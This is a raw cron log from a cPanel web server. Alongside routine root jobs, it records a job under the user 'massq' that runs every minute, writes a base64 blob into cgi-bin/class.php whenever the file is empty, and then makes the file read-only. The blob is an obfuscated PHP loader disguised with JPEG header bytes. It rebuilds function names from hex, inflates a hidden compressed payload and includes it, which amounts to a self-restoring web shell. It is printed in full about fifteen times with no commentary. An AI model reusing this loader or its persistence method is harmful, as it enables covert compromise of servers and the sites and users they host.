Nov 14 14:07:01 server CROND[17132]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:08:01 server CROND[18016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:09:01 server CROND[18877]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 14:09:01 server CROND[18878]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:10:01 server CROND[19755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:10:01 server CROND[19756]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 14:10:01 server CROND[19757]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 14:10:01 server CROND[19758]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:11:01 server CROND[20795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:12:01 server CROND[21609]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:12:01 server CROND[21610]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 14:13:01 server CROND[22076]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:14:01 server CROND[22946]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:15:01 server CROND[23817]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 14:15:01 server CROND[23816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:15:01 server CROND[23819]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:15:01 server CROND[23818]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:16:01 server CROND[24867]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:17:01 server CROND[25736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:18:01 server CROND[26607]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:19:01 server CROND[27479]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:20:01 server CROND[28356]: (root) CMD (/usr/lib64/sa/sa1 1 1)
